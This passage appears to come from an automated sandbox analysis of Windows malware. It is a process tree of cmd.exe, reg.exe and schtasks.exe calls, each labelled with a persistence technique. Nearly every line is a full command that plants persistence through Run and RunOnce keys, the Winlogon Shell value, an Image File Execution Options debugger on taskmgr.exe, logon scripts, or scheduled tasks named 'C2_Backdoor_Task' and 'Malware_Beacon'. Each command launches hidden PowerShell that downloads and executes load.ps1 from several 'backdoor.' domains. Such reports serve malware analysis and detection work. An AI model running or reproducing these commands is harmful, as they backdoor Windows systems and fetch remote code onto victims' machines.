                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:7340
                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                        PID:5840
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:6256
                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                        PID:560
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                      PID:6724
                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                        PID:6260
                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:5216
                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                          PID:632
                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:4412
                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                          PID:7864
                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:7124
                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                                                                            PID:5220
                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                          PID:7180
                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                            PID:4864
                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:4872
                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                              PID:3124
                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:7816
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:7352
                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                  PID:5428
                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:6916
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                    PID:4972
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                  PID:6584
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.fifa55hr.com/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                    PID:4348
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:112
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.juad888.us/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                      PID:4564
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5056
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                                        PID:6088
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                      PID:1876
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                                        PID:7604
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:6776
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:3152
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                                                                                            PID:5140
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:7416
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                                              PID:5972
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                            PID:7976
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                                              PID:4404
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:7184
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:6644
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                                  PID:5840
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:4704
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                    PID:2216
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:2112
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                      • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                                                      PID:6768
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:5884
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                                                                                        PID:7860
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                      PID:7796
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                        PID:4808
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:6148
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                                                                          PID:2104
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:2564
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.skuy88.com/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                                                                                            PID:4336
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:7076
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.way2ship.in/malware/load.ps1')\"" /f
                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                                                                                                                                                                                                              PID:7360
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:7780
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.999betslot.vip/malware/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
